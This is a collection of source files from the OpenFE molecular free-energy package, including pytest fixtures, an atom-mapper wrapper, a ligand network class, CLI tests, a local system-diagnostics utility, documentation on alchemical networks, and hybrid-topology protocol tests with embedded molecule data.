importlib.resources.read_binary(lomap_basic, f) with open(str(lomap_files.join(f)), 'wb') as fout: fout.write(stuff) yield str(lomap_files) @pytest.fixture(scope='session') def atom_mapping_basic_test_files(): # a dict of {filenames.strip(mol2): SmallMoleculeComponent} for a simple # set of ligands files = {} for f in [ '1,3,7-trimethylnaphthalene', '1-butyl-4-methylbenzene', '2,6-dimethylnaphthalene', '2-methyl-6-propylnaphthalene', '2-methylnaphthalene', '2-naftanol', 'methylcyclohexane', 'toluene']: with importlib.resources.path('openfe.tests.data.lomap_basic', f + '.mol2') as fn: mol = Chem.MolFromMol2File(str(fn), removeHs=False) files[f] = SmallMoleculeComponent(mol, name=f) return files @pytest.fixture(scope='session') def benzene_modifications(): files = {} with importlib.resources.path('openfe.tests.data', 'benzene_modifications.sdf') as fn: supp = Chem.SDMolSupplier(str(fn), removeHs=False) for rdmol in supp: files[rdmol.GetProp('_Name')] = SmallMoleculeComponent(rdmol) return files @pytest.fixture def serialization_template(): def inner(filename): loc = "openfe.tests.data.serialization" tmpl = importlib.resources.read_text(loc, filename) return tmpl.replace('{OFE_VERSION}', openfe.__version__) return inner @pytest.fixture(scope='session') def benzene_transforms(): # a dict of Molecules for benzene transformations mols = {} with resources.path('openfe.tests.data', 'benzene_modifications.sdf') as fn: supplier = Chem.SDMolSupplier(str(fn), removeHs=False) for mol in supplier: mols[mol.GetProp('_Name')] = SmallMoleculeComponent(mol) return mols @pytest.fixture(scope='session') def T4_protein_component(): with resources.path('openfe.tests.data', '181l_only.pdb') as fn: comp = gufe.ProteinComponent.from_pdb_file(str(fn), name="T4_protein") return comp @pytest.fixture() def eg5_protein_pdb(): with resources.path('openfe.tests.data.eg5', 'eg5_protein.pdb') as fn: yield str(fn) @pytest.fixture() def eg5_ligands_sdf(): with resources.path('openfe.tests.data.eg5', 'eg5_ligands.sdf') as fn: yield str(fn) @pytest.fixture() def eg5_cofactor_sdf(): with resources.path('openfe.tests.data.eg5', 'eg5_cofactor.sdf') as fn: yield str(fn) @pytest.fixture() def eg5_protein(eg5_protein_pdb) -> openfe.ProteinComponent: return openfe.ProteinComponent.from_pdb_file(eg5_protein_pdb) @pytest.fixture() def eg5_ligands(eg5_ligands_sdf) -> list[SmallMoleculeComponent]: return [SmallMoleculeComponent(m) for m in Chem.SDMolSupplier(eg5_ligands_sdf, removeHs=False)] @pytest.fixture() def eg5_cofactor(eg5_cofactor_sdf) -> SmallMoleculeComponent: return SmallMoleculeComponent.from_sdf_file(eg5_cofactor_sdf) @pytest.fixture() def orion_network(): with resources.path('openfe.tests.data.external_formats', 'somebenzenes_nes.dat') as fn: yield fn @pytest.fixture() def fepplus_network(): with resources.path('openfe.tests.data.external_formats', 'somebenzenes_edges.edge') as fn: yield fn <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe """ The MCS class from Perses shamelessly wrapped and used here to match our API. """ from openmm import unit from openfe.utils import requires_package from ...utils.silence_root_logging import silence_root_logging try: with silence_root_logging(): from perses.rjmc.atom_mapping import ( AtomMapper, InvalidMappingException ) except ImportError: pass # Don't throw error, will happen later from .ligandatommapper import LigandAtomMapper class PersesAtomMapper(LigandAtomMapper): allow_ring_breaking: bool preserve_chirality: bool use_positions: bool @requires_package("perses") def __init__(self, allow_ring_breaking: bool = True, preserve_chirality: bool = True, use_positions: bool = True, coordinate_tolerance: float = 0.25 * unit.angstrom): """ This class uses the perses code to facilitate the mapping of the atoms of two molecules to each other. Parameters ---------- allow_ring_breaking: bool, optional this option checks if on only full cycles of the molecules shall be mapped, default: False preserve_chirality: bool, optional if mappings must strictly preserve chirality, default: True use_positions: bool, optional this option defines, if the coordinate_tolerance: float, optional tolerance on how close coordinates need to be, such they can be mapped, default: 0.25*unit.angstrom """ self.allow_ring_breaking = allow_ring_breaking self.preserve_chirality = preserve_chirality self.use_positions = use_positions self.coordinate_tolerance = coordinate_tolerance def _mappings_generator(self, componentA, componentB): # Construct Perses Mapper _atom_mapper = AtomMapper( use_positions=self.use_positions, coordinate_tolerance=self.coordinate_tolerance, allow_ring_breaking=self.allow_ring_breaking) # Try generating a mapping try: _atom_mappings = _atom_mapper.get_all_mappings( old_mol=componentA.to_openff(), new_mol=componentB.to_openff()) except InvalidMappingException: return # Catch empty mappings here if _atom_mappings is None: return # Post processing if self.preserve_chirality: for x in _atom_mappings: x.preserve_chirality() # Translate mapping objects mapping_dict = (x.old_to_new_atom_map for x in _atom_mappings) yield from mapping_dict <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from __future__ import annotations import json from typing import FrozenSet, Iterable, Optional from gufe import SmallMoleculeComponent from openfe.setup.atom_mapping import LigandAtomMapping import openfe import networkx as nx class LigandNetwork: """A directed graph connecting many ligands according to their atom mapping Parameters ---------- edges : Iterable[LigandAtomMapping] edges for this network nodes : Iterable[SmallMoleculeComponent] nodes for this network """ def __init__( self, edges: Iterable[LigandAtomMapping], nodes: Optional[Iterable[SmallMoleculeComponent]] = None ): if nodes is None: nodes = [] self._edges = frozenset(edges) edge_nodes = set.union(*[{edge.componentA, edge.componentB} for edge in edges]) self._nodes = frozenset(edge_nodes) | frozenset(nodes) self._graph = None @property def graph(self) -> nx.Graph: """NetworkX graph for this network""" if self._graph is None: graph = nx.MultiDiGraph() # set iterator order depends on PYTHONHASHSEED, sorting ensures # reproducibility for node in sorted(self._nodes): graph.add_node(node) for edge in sorted(self._edges): graph.add_edge(edge.componentA, edge.componentB, object=edge, **edge.annotations) self._graph = nx.freeze(graph) return self._graph @property def edges(self) -> FrozenSet[LigandAtomMapping]: """A read-only view of the edges of the Network""" return self._edges @property def nodes(self) -> FrozenSet[SmallMoleculeComponent]: """A read-only view of the nodes of the Network""" return self._nodes def __eq__(self, other): return self.nodes == other.nodes and self.edges == other.edges def _serializable_graph(self) -> nx.Graph: """ Create NetworkX graph with serializable attribute representations. This enables us to use easily use different serialization approaches. """ # sorting ensures that we always preserve order in files, so two # identical networks will show no changes if you diff their # serialized versions sorted_nodes = sorted(self.nodes, key=lambda m: (m.smiles, m.name)) mol_to_label = {mol: f"mol{num}" for num, mol in enumerate(sorted_nodes)} edge_data = sorted([ ( mol_to_label[edge.componentA], mol_to_label[edge.componentB], json.dumps(list(edge.componentA_to_componentB.items())) ) for edge in self.edges ]) # from here, we just build the graph serializable_graph = nx.MultiDiGraph(ofe_version=openfe.__version__) for mol, label in mol_to_label.items(): serializable_graph.add_node(label, moldict=json.dumps(mol.to_dict(), sort_keys=True)) for molA, molB, mapping in edge_data: serializable_graph.add_edge(molA, molB, mapping=mapping) return serializable_graph @classmethod def _from_serializable_graph(cls, graph: nx.Graph): """Create network from NetworkX graph with serializable attributes. This is the inverse of ``_serializable_graph``. """ label_to_mol = {node: SmallMoleculeComponent.from_dict(json.loads(d)) for node, d in graph.nodes(data='moldict')} edges = [ LigandAtomMapping(componentA=label_to_mol[node1], componentB=label_to_mol[node2], componentA_to_componentB=dict(json.loads(mapping))) for node1, node2, mapping in graph.edges(data='mapping') ] return cls(edges=edges, nodes=label_to_mol.values()) def to_graphml(self) -> str: """Return the GraphML string representing this ``Network``. This is the primary serialization mechanism for this class. Returns ------- str : string representing this network in GraphML format """ return "\n".join(nx.generate_graphml(self._serializable_graph())) @classmethod def from_graphml(cls, graphml_str: str): """Create ``Network`` from GraphML string. This is the primary deserialization mechanism for this class. Parameters ---------- graphml_str : str GraphML string representation of a :class:`.Network` Returns ------- :class:`.Network`: new network from the GraphML """ return cls._from_serializable_graph(nx.parse_graphml(graphml_str)) def enlarge_graph(self, *, edges=None, nodes=None) -> LigandNetwork: """ Create a new network with the given edges and nodes added Parameters ---------- edges : Iterable[:class:`.LigandAtomMapping`] edges to append to this network nodes : Iterable[:class:`.SmallMoleculeComponent`] nodes to append to this network Returns ------- :class:`.Network : a new network adding the given edges and nodes to this network """ if edges is None: edges = set([]) if nodes is None: nodes = set([]) return LigandNetwork(self.edges | set(edges), self.nodes | set(nodes)) def annotate_node(self, node, annotation) -> LigandNetwork: """Return a new network with the additional node annotation""" raise NotImplementedError("Waiting on annotations") def annotate_edge(self, edge, annotation) -> LigandNetwork: """Return a new network with the additional edge annotation""" raise NotImplementedError("Waiting on annotations") <file_sep>import pytest import click import importlib import pathlib import json from click.testing import CliRunner from openfecli.commands.quickrun import quickrun from gufe.tokenization import JSON_HANDLER @pytest.fixture def json_file(): with importlib.resources.path('openfecli.tests.data', 'transformation.json') as f: json_file = str(f) return json_file @pytest.mark.parametrize('extra_args', [ {}, {'-d': 'foo_dir', '-o': 'foo.json'} ]) def test_quickrun(extra_args, json_file): extras = sum([list(kv) for kv in extra_args.items()], []) runner = CliRunner() with runner.isolated_filesystem(): result = runner.invoke(quickrun, [json_file] + extras) assert result.exit_code == 0 assert "Here is the result" in result.output assert "Additional information" in result.output if outfile := extra_args.get('-o'): assert pathlib.Path(outfile).exists() with open(outfile, mode='r') as outf: dct = json.load(outf, cls=JSON_HANDLER.decoder) assert set(dct) == {'estimate', 'uncertainty', 'protocol_result', 'unit_results'} # TODO: need a protocol that drops files to actually do this! # if directory := extra_args.get('-d'): # dirpath = pathlib.Path(directory) # assert dirpath.exists() # assert dirpath.is_dir() # assert len(list(dirpath.iterdir())) > 0 def test_quickrun_output_file_exists(json_file): runner = CliRunner() with runner.isolated_filesystem(): pathlib.Path('foo.json').touch() result = runner.invoke(quickrun, [json_file, '-o', 'foo.json']) assert result.exit_code == 2 # usage error assert "File 'foo.json' already exists." in result.output def test_quickrun_unit_error(): with importlib.resources.path('openfecli.tests.data', 'bad_transformation.json') as f: json_file = str(f) runner = CliRunner() with runner.isolated_filesystem(): result = runner.invoke(quickrun, [json_file, '-o', 'foo.json']) assert result.exit_code == 1 assert pathlib.Path("foo.json").exists() # TODO: I'm still not happy with this... failure result does not see # to be stored in JSON # not sure whether that means we should always be storing all # protocol dag results maybe? <file_sep>import logging import os import socket import sys import subprocess import psutil def _get_disk_usage() -> dict[str, dict[str, str]]: """ Get disk usage information for all filesystems. Returns ------- dict[str, dict[str, str]] A dictionary with filesystem names as keys and dictionaries containing disk usage information as values. Notes ----- This function uses the 'df' command-line utility to gather disk usage information for all filesystems mounted on the system. The output is then processed to extract relevant information. The returned dictionary has filesystem names as keys, and each corresponding value is a dictionary containing the following disk usage information: - 'size': The total size of the filesystem. - 'used': The used space on the filesystem. - 'available': The available space on the filesystem. - 'percent_used': Percentage of the filesystem's space that is currently in use. - 'mount_point': The mount point directory where the filesystem is mounted. Note that the disk space values are represented as strings, which include units (e.g., 'G' for gigabytes, 'M' for megabytes). The function decodes the 'df' command's output using 'utf-8'. Raises ------ subprocess.CalledProcessError If the 'df' command execution fails or returns a non-zero exit code. OSError If an operating system-related error occurs during the 'df' command execution. Returns an empty dictionary if the 'df' command output is empty or cannot be processed. Examples -------- >>> _get_disk_usage() { '/dev/sda1': { 'size': '30G', 'used': '15G', 'available': '14G', 'percent_used': '52%', 'mount_point': '/' }, '/dev/sda2': { 'size': '100G', 'used': '20G', 'available': '80G', 'percent_used': '20%', 'mount_point': '/home' }, ... } """ output = subprocess.check_output(["df", "-h"]).decode("utf-8") lines = output.strip().split(os.linesep) lines = lines[1:] disk_usage_dict = {} for line in lines: columns = line.split() filesystem = columns[0] size = columns[1] used = columns[2] available = columns[3] percent_used = columns[4] mount_point = columns[5] disk_usage_dict[filesystem] = { "size": size, "used": used, "available": available, "percent_used": percent_used, "mount_point": mount_point, } return disk_usage_dict def _get_psutil_info() -> dict[str, dict[str, str]]: """ Get process information using the psutil library. Returns ------- dict[str, dict[str, str]] A dictionary containing various process information. Notes ----- This function utilizes the psutil library to retrieve information about the current process and system memory. The returned dictionary includes the following process information: - 'cpu_percent': The percentage of CPU usage by the current process. - 'create_time': The timestamp indicating the process creation time. - 'exe': The absolute path to the executable file associated with the process. - 'memory_full_info': A dictionary containing detailed memory information about the process. - 'memory_percent': The percentage of memory usage by the current process. - 'num_fds': The number of file descriptors used by the process. - 'pid': The Process ID (PID) of the current process. - 'status': The current status of the process (e.g., 'running', 'sleeping', 'stopped'). Additionally, the dictionary includes the following system memory information: - 'RLIMIT_AS': The maximum size of the process's virtual memory. - 'virtual_memory': A dictionary containing various virtual memory statistics for the system. Note that the memory-related values are represented as strings, which include units (e.g., 'MB', 'GB'). Note that RLIMIT_AS key will be missing when this function is executed on macOS systems. Raises ------ NoSuchProcess If the process with the specified PID (Process ID) does not exist or is not running. AccessDenied If access to the process information is denied due to permission restrictions. Examples -------- >>> _get_psutil_info() { "memory_percent": 0.019870108903294176, "exe": "/usr/bin/python3.10", "pid": 1531909, "cpu_percent": 0.0, "create_time": 1690995569.42, "memory_full_info": { "rss": 13369344, "vms": 31834112, "shared": 6815744, "text": 2121728, "lib": 0, "data": 7827456, "dirty": 0, "uss": 10633216, "pss": 10646528, "swap": 0, }, "status": "running", "num_fds": 4, "RLIMIT_AS": (-1, -1), "virtual_memory": { "total": 67283697664, "available": 32223358976, "percent": 52.1, "used": 29410000896, "free": 3407593472, "active": 33954336768, "inactive": 26209050624, "buffers": 144347136, "cached": 34321756160, "shared": 1021435904, "slab": 1520009216, }, } """ p = psutil.Process() with p.oneshot(): info = p.as_dict( attrs=[ "cpu_percent", "create_time", "exe", "memory_full_info", "memory_percent", "num_fds", "pid", "status", ] ) # OSX doesn't have rlimit for Process if sys.platform != "darwin": RLIMIT_AS = p.rlimit(psutil.RLIMIT_AS) info["RLIMIT_AS"] = RLIMIT_AS # The maximum size of the process's virtual memory mem = psutil.virtual_memory() # memory_full_info is a named tuple, and we need to dict-ify it mem_full_info = info["memory_full_info"]._asdict() info["memory_full_info"] = mem_full_info info["virtual_memory"] = mem._asdict() return info def _get_hostname() -> str: """ Get the hostname of the current system. Returns ------- str The hostname of the system. Notes ----- This function uses the 'socket' library to retrieve the hostname of the current system. The returned hostname is a string representing the name of the system within a network. Raises ------ socket.error If an error occurs while trying to fetch the hostname. Examples -------- >>> _get_hostname() 'winry-comp' """ return socket.gethostname() def _get_gpu_info() -> dict[str, dict[str, str]]: """ Get GPU information using the 'nvidia-smi' command-line utility. Returns ------- dict[str, dict[str, str]] A dictionary with GPU UUIDs as keys and dictionaries containing GPU information as values. Notes ----- This function queries the NVIDIA System Management Interface ('nvidia-smi') to retrieve information about the available GPUs on the system. The returned dictionary includes the following GPU information for each detected GPU: - 'gpu_name': The name of the GPU. - 'compute_mode': The compute mode of the GPU. - 'pstate': The current performance state of the GPU. - 'temperature.gpu': The temperature of the GPU. - 'utilization.memory': The memory utilization of the GPU. - 'memory.total': The total memory available on the GPU. - 'driver_version': The version of the installed NVIDIA GPU driver. The GPU information is extracted from the output of the 'nvidia-smi' command, which is invoked with specific query parameters. The output is then parsed as CSV, and the relevant information is stored in the dictionary. Note that the GPU information values are represented as strings. Note that if no GPU is detected, an empty dictionary is returned. Examples -------- >>> _get_gpu_info() { 'GPU-UUID-1': { 'name': 'NVIDIA GeForce RTX 3080', 'compute_mode': 'Default', 'pstate': 'P0', 'temperature.gpu': '78 C', 'utilization.memory [%]': '50 %', 'memory.total [MiB]': '10.7 GB', 'driver_version': '470.57.02', }, 'GPU-UUID-2': { 'name': 'NVIDIA GeForce GTX 1660 Ti', 'compute_mode': 'Default', 'pstate': 'P2', 'temperature.gpu': '65 C', 'utilization.memory [%]': '30 %', 'memory.total [MiB]': '5.8 GB', 'driver_version': '470.57.02', }, ... } """ GPU_QUERY = ( "--query-gpu=gpu_uuid,gpu_name,compute_mode,pstate,temperature.gpu," "utilization.memory,memory.total,driver_version," ) try: nvidia_smi_output = subprocess.check_output( ["nvidia-smi", GPU_QUERY, "--format=csv"] ).decode("utf-8") except FileNotFoundError: logging.debug( "Error: nvidia-smi command not found. Make sure NVIDIA drivers are" " installed, this is expected if there is no GPU available" ) return {} nvidia_smi_output_lines = nvidia_smi_output.strip().split(os.linesep) header = nvidia_smi_output_lines[0].split(",") # Parse each line as CSV and build the dictionary # Skip the header gpu_info: dict[str, dict] = {} for line in nvidia_smi_output_lines[1:]: data = line.split(",") # Get UUID of GPU gpu_uuid = data[0].strip() gpu_info[gpu_uuid] = {} # Stuff info we asked for into dict with UUID as key for i in range(1, len(header)): field_name = header[i].strip() gpu_info[gpu_uuid][field_name] = data[i].strip() return gpu_info def _probe_system() -> dict: """ Probe the system and gather various system information. Returns ------- dict A dictionary containing system information. Notes ----- This function gathers information about the system by calling several internal functions. The returned dictionary contains the following system information: - 'system information': A dictionary containing various system-related details. - 'hostname': The hostname of the current system. - 'gpu information': GPU information retrieved using the '_get_gpu_info' function. - 'psutil information': Process and memory-related information obtained using the '_get_psutil_info' function. - 'disk usage information': Disk usage details for all filesystems, obtained through the '_get_disk_usage' function. Each nested dictionary provides specific details about the corresponding system component. Examples -------- >>> _probe_system() { "system information": { "hostname": "winry-comp", "gpu information": { "GPU-5b97c87b-4646-cfdd-efd6-3ee9bb3b371d": { "name": "NVIDIA GeForce RTX 2060", "compute_mode": "Default", "pstate": "P0", "temperature.gpu": "48", "utilization.memory [%]": "0 %", "memory.total [MiB]": "6144 MiB", "driver_version": "525.116.04", } }, "psutil information": { "exe": "/home/winry/micromamba/envs/openfe/bin/python3.10", "memory_percent": 0.02006491389254216, "create_time": 1690996699.21, "status": "running", "pid": 1549447, "num_fds": 4, "memory_full_info": { "rss": 13500416, "vms": 31850496, "shared": 6946816, "text": 2121728, "lib": 0, "data": 7843840, "dirty": 0, "uss": 10752000, "pss": 10765312, "swap": 0, }, "cpu_percent": 0.0, "RLIMIT_AS": (-1, -1), "virtual_memory": { "total": 67283697664, "available": 31865221120, "percent": 52.6, "used": 29719117824, "free": 2608443392, "active": 34446774272, "inactive": 26320441344, "buffers": 168124416, "cached": 34788012032, "shared": 1069752320, "slab": 1520705536, }, }, "disk usage information": { "/dev/mapper/data-root": { "size": "1.8T", "used": "626G", "available": "1.1T", "percent_used": "37%", "mount_point": "/", }, "/dev/dm-3": { "size": "3.7T", "used": "1.6T", "available": "2.2T", "percent_used": "42%", "mount_point": "/mnt/data", }, }, } } """ hostname = _get_hostname() gpu_info = _get_gpu_info() psutil_info = _get_psutil_info() disk_usage_info = _get_disk_usage() return { "system information": { "hostname": hostname, "gpu information": gpu_info, "psutil information": psutil_info, "disk usage information": disk_usage_info, } } if __name__ == "__main__": from pprint import pprint pprint(_probe_system()) <file_sep>.. _alchemical-network-model: Alchemical Networks: Representation of a Simulation =================================================== The goal of the setup stage is to create an :class:`.AlchemicalNetwork`, which contains all the information needed for a campaign of simulations. This section will describe the composition of the achemical network, including describing the OpenFE objects that describe chemistry, as well as alchemical transformations. .. TODO provide a written or image based comparison between alchemical and thermodynamic cycles Like any network, the :class:`.AlchemicalNetwork` can be described in terms of nodes and edges between nodes. The nodes are :class:`.ChemicalSystem`\ s, which describe the specific molecules involved. The edges are :class:`.Transformation` objects, which carry all the information about how the simulation is to be performed. In practice, nodes must be associated with a transformation in order to be relevant in an alchemical network; that is, there are no disconnected nodes. This means that the alchemical network can be fully described by just the edges (which contain information on the nodes they connect). Note that this does not mean that the entire network must be fully connected -- just that there are no solitary nodes. Each :class:`.Transformation` represents everything that is needed to calculate the free energy differences between the two :class:`.ChemicalSystem`\ s that are the nodes for that edge. In addition to containing the information for each :class:`.ChemicalSystem`, the :class:`.Transformation` also contains a :class:`.Protocol` and, when relevant, atom mapping information for alchemical transformations. A :class:`.ChemicalSystem` is made up of one or more ``ChemicalComponent``\ s. Each component represents a conceptual part of the total molecular system. A ligand would be represented by a :class:`.SmallMoleculeComponent`. A protein would be a :class:`.ProteinComponent`. The solvent to be added is represented as a :class:`.SolventComponent`. This allows us to easily identify what is changing between two nodes -- for example, a relative binding free energy (RBFE) edge for ligand binding would have the same solvent and protein components, but different ligand components. The :class:`.Protocol` object describes how the simulation should be run. This includes choice of algorithm, as well as specific settings for the edge. Each protocol has its own :class:`.Settings` subclass, which contains all the settings relevant for that protocol. .. TODO where to find details on settings <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import os from io import StringIO import numpy as np import gufe from gufe.tests.test_tokenization import GufeTokenizableTestsMixin import pytest from unittest import mock from openff.units import unit from importlib import resources import xml.etree.ElementTree as ET from openmm import app, XmlSerializer, MonteCarloBarostat from openmm import unit as omm_unit from openmmtools.multistate.multistatesampler import MultiStateSampler import pathlib from rdkit import Chem from rdkit.Geometry import Point3D import mdtraj as mdt import openfe from openfe import setup from openfe.protocols import openmm_rfe from openfe.protocols.openmm_rfe.equil_rfe_methods import ( _validate_alchemical_components, ) from openfe.protocols.openmm_utils import system_creation from openmmforcefields.generators import SMIRNOFFTemplateGenerator from openff.units.openmm import ensure_quantity def test_compute_platform_warn(): with pytest.warns(UserWarning, match="Non-GPU platform selected: CPU"): openmm_rfe._rfe_utils.compute.get_openmm_platform('CPU') def test_append_topology(benzene_complex_system, toluene_complex_system): mod = app.Modeller( benzene_complex_system['protein'].to_openmm_topology(), benzene_complex_system['protein'].to_openmm_positions(), ) lig1 = benzene_complex_system['ligand'].to_openff() mod.add( lig1.to_topology().to_openmm(), ensure_quantity(lig1.conformers[0], 'openmm'), ) top1 = mod.topology assert len(list(top1.atoms())) == 2625 assert len(list(top1.bonds())) == 2645 lig2 = toluene_complex_system['ligand'].to_openff() top2, appended_resids = openmm_rfe._rfe_utils.topologyhelpers.combined_topology( top1, lig2.to_topology().to_openmm(), exclude_resids=np.asarray(list(top1.residues())[-1].index), ) assert len(list(top2.atoms())) == 2625 + 3 # added methyl assert len(list(top2.bonds())) == 2645 + 4 - 1 # add methyl bonds, minus hydrogen assert appended_resids[0] == len(list(top1.residues())) - 1 def test_append_topology_no_exclude(benzene_complex_system, toluene_complex_system): mod = app.Modeller( benzene_complex_system['protein'].to_openmm_topology(), benzene_complex_system['protein'].to_openmm_positions(), ) lig1 = benzene_complex_system['ligand'].to_openff() mod.add( lig1.to_topology().to_openmm(), ensure_quantity(lig1.conformers[0], 'openmm'), ) top1 = mod.topology assert len(list(top1.atoms())) == 2625 assert len(list(top1.bonds())) == 2645 lig2 = toluene_complex_system['ligand'].to_openff() top2, appended_resids = openmm_rfe._rfe_utils.topologyhelpers.combined_topology( top1, lig2.to_topology().to_openmm(), exclude_resids=None, ) assert len(list(top2.atoms())) == 2625 + 15 # added toluene assert len(list(top2.bonds())) == 2645 + 15 # 15 bonds in toluene assert appended_resids[0] == len(list(top1.residues())) def test_create_default_settings(): settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() assert settings def test_create_default_protocol(): # this is roughly how it should be created protocol = openmm_rfe.RelativeHybridTopologyProtocol( settings=openmm_rfe.RelativeHybridTopologyProtocol.default_settings(), ) assert protocol def test_serialize_protocol(): protocol = openmm_rfe.RelativeHybridTopologyProtocol( settings=openmm_rfe.RelativeHybridTopologyProtocol.default_settings(), ) ser = protocol.to_dict() ret = openmm_rfe.RelativeHybridTopologyProtocol.from_dict(ser) assert protocol == ret def test_create_independent_repeat_ids(benzene_system, toluene_system, benzene_to_toluene_mapping): # if we create two dags each with 3 repeats, they should give 6 repeat_ids # this allows multiple DAGs in flight for one Transformation that don't clash on gather settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() protocol = openmm_rfe.RelativeHybridTopologyProtocol( settings=settings, ) dag1 = protocol.create( stateA=benzene_system, stateB=toluene_system, mapping={'ligand': benzene_to_toluene_mapping}, ) dag2 = protocol.create( stateA=benzene_system, stateB=toluene_system, mapping={'ligand': benzene_to_toluene_mapping}, ) repeat_ids = set() u: openmm_rfe.RelativeHybridTopologyProtocolUnit for u in dag1.protocol_units: repeat_ids.add(u.inputs['repeat_id']) for u in dag2.protocol_units: repeat_ids.add(u.inputs['repeat_id']) assert len(repeat_ids) == 6 @pytest.mark.parametrize('mapping', [ None, {'A': 'Foo', 'B': 'bar'}, ]) def test_validate_alchemical_components_wrong_mappings(mapping): with pytest.raises(ValueError, match="A single LigandAtomMapping"): _validate_alchemical_components( {'stateA': [], 'stateB': []}, mapping ) def test_validate_alchemical_components_missing_alchem_comp( benzene_to_toluene_mapping): alchem_comps = {'stateA': [openfe.SolventComponent(),], 'stateB': []} with pytest.raises(ValueError, match="Unmapped alchemical component"): _validate_alchemical_components( alchem_comps, {'ligand': benzene_to_toluene_mapping}, ) @pytest.mark.parametrize('method', [ 'repex', 'sams', 'independent', 'InDePeNdENT' ]) def test_dry_run_default_vacuum(benzene_vacuum_system, toluene_vacuum_system, benzene_to_toluene_mapping, method, tmpdir): vac_settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() vac_settings.system_settings.nonbonded_method = 'nocutoff' vac_settings.alchemical_sampler_settings.sampler_method = method vac_settings.alchemical_sampler_settings.n_repeats = 1 protocol = openmm_rfe.RelativeHybridTopologyProtocol( settings=vac_settings, ) # create DAG from protocol and take first (and only) work unit from within dag = protocol.create( stateA=benzene_vacuum_system, stateB=toluene_vacuum_system, mapping={'ligand': benzene_to_toluene_mapping}, ) dag_unit = list(dag.protocol_units)[0] with tmpdir.as_cwd(): sampler = dag_unit.run(dry=True)['debug']['sampler'] assert isinstance(sampler, MultiStateSampler) assert not sampler.is_periodic assert sampler._thermodynamic_states[0].barostat is None # Check hybrid OMM and MDTtraj Topologies htf = sampler._hybrid_factory # 16 atoms: # 11 common atoms, 1 extra hydrogen in benzene, 4 extra in toluene # 12 bonds in benzene + 4 extra tolunee bonds assert len(list(htf.hybrid_topology.atoms)) == 16 assert len(list(htf.omm_hybrid_topology.atoms())) == 16 assert len(list(htf.hybrid_topology.bonds)) == 16 assert len(list(htf.omm_hybrid_topology.bonds())) == 16 # smoke test - can convert back the mdtraj topology ret_top = mdt.Topology.to_openmm(htf.hybrid_topology) assert len(list(ret_top.atoms())) == 16 assert len(list(ret_top.bonds())) == 16 def test_dry_run_gaff_vacuum(benzene_vacuum_system, toluene_vacuum_system, benzene_to_toluene_mapping, tmpdir): vac_settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() vac_settings.system_settings.nonbonded_method = 'nocutoff' vac_settings.forcefield_settings.small_molecule_forcefield = 'gaff-2.11' protocol = openmm_rfe.RelativeHybridTopologyProtocol( settings=vac_settings, ) # create DAG from protocol and take first (and only) work unit from within dag = protocol.create( stateA=benzene_vacuum_system, stateB=toluene_vacuum_system, mapping={'ligand': benzene_to_toluene_mapping}, ) unit = list(dag.protocol_units)[0] with tmpdir.as_cwd(): sampler = unit.run(dry=True)['debug']['sampler'] def test_dry_many_molecules_solvent( benzene_many_solv_system, toluene_many_solv_system, benzene_to_toluene_mapping, tmpdir ): """ A basic test flushing "will it work if you pass multiple molecules" """ settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() protocol = openmm_rfe.RelativeHybridTopologyProtocol( settings=settings, ) # create DAG from protocol and take first (and only) work unit from within dag = protocol.create( stateA=benzene_many_solv_system, stateB=toluene_many_solv_system, mapping={'spicyligand': benzene_to_toluene_mapping}, ) unit = list(dag.protocol_units)[0] with tmpdir.as_cwd(): sampler = unit.run(dry=True)['debug']['sampler'] BENZ = """\ benzene PyMOL2.5 3D 0 12 12 0 0 0 0 0 0 0 0999 V2000 1.4045 -0.0000 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0 0.7022 1.2164 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0 -0.7023 1.2164 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0 -1.4045 -0.0000 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0 -0.7023 -1.2164 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0 0.7023 -1.2164 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0 2.5079 -0.0000 0.0000 H 0 0 0 0 0 0 0 0 0 0 0 0 1.2540 2.1720 0.0000 H 0 0 0 0 0 0 0 0 0 0 0 0 -1.2540 2.1720 0.0000 H 0 0 0 0 0 0 0 0 0 0 0 0 -2.5079 -0.0000 0.0000 H 0 0 0 0 0 0 0 0 0 0 0 0 -1.2540 -2.1719 0.0000 H 0 0 0 0 0 0 0 0 0 0 0 0 1.2540 -2.1720 0.0000 H 0 0 0 0 0 0 0 0 0 0 0 0 1 2 2 0 0 0 0 1 6 1 0 0 0 0 1 7 1 0 0 0 0 2 3 1 0 0 0 0 2 8 1 0 0 0 0 3 4 2 0 0 0 0 3 9 1 0 0 0 0 4 5 1 0 0 0 0 4 10 1 0 0 0 0 5 6 2 0 0 0 0 5 11 1 0 0 0 0 6 12 1 0 0 0 0 M END $$$$ """ PYRIDINE = """\ pyridine PyMOL2.5 3D 0 11 11 0 0 0 0 0 0 0 0999 V2000 1.4045 -0.0000 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0 -0.7023 1.2164 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0 -1.4045 -0.0000 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0 -0.7023 -1.2164 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0 0.7023 -1.2164 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0 2.4940 -0.0325 0.0000 H 0 0 0 0 0 0 0 0 0 0 0 0 1.2473 -2.1604 0.0000 H 0 0 0 0 0 0 0 0 0 0 0 0 -1.2473 -2.1604 0.0000 H 0 0 0 0 0 0 0 0 0 0 0 0 -2.4945 -0.0000 0.0000 H 0 0 0 0 0 0 0 0 0 0 0 0 -1.2753 2.1437 0.0000 H 0 0 0 0 0 0 0 0 0 0 0 0 0.7525 1.3034 0.0000 N 0 0 0 0 0 0 0 0 0 0 0 0 1 5 1 0 0 0 0 1 6 1 0 0 0 0 1 11 2 0 0 0 0 2 3 2 0 0 0 0 2 10 1 0 0 0 0 3 4 1 0 0 0 0 3 9 1 0 0 0 